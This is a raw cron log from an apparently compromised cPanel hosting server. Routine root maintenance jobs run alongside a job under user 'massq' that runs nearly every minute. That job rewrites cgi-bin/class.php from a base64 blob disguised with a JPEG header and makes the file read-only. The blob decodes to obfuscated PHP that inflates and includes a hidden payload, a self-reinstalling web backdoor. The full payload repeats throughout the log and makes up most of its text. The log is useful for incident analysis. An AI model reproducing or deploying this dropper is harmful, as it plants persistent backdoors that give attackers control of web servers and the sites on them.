Sep 12 01:32:01 server CROND[7558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:32:01 server CROND[7559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:32:01 server CROND[7560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:33:01 server CROND[7936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:33:01 server CROND[7937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:33:01 server CROND[7938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:34:01 server CROND[8329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:34:01 server CROND[8331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:34:01 server CROND[8330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:35:01 server CROND[8713]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:35:01 server CROND[8715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:35:01 server CROND[8714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:35:01 server CROND[8723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:35:01 server CROND[8722]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 01:35:01 server CROND[8727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:35:01 server CROND[8724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:35:01 server CROND[8725]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:35:01 server CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:36:01 server CROND[9636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:36:01 server CROND[9637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:36:01 server CROND[9638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:37:01 server CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:37:01 server CROND[10009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:37:01 server CROND[10010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:38:01 server CROND[10435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:38:01 server CROND[10436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:38:01 server CROND[10437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:39:01 server CROND[10803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:39:01 server CROND[10806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:39:01 server CROND[10804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:39:01 server CROND[10807]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 01:40:01 server CROND[11185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:40:01 server CROND[11186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:40:01 server CROND[11188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:40:01 server CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:40:01 server CROND[11194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:40:01 server CROND[11193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:40:01 server CROND[11191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:40:01 server CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:41:01 server CROND[12113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:41:01 server CROND[12114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:41:01 server CROND[12115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:42:01 server CROND[12512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:42:01 server CROND[12513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:42:01 server CROND[12514]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:42:01 server CROND[12517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:43:01 server CROND[12918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:43:01 server CROND[12919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:43:01 server CROND[12920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:44:01 server CROND[13278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:44:01 server CROND[13280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
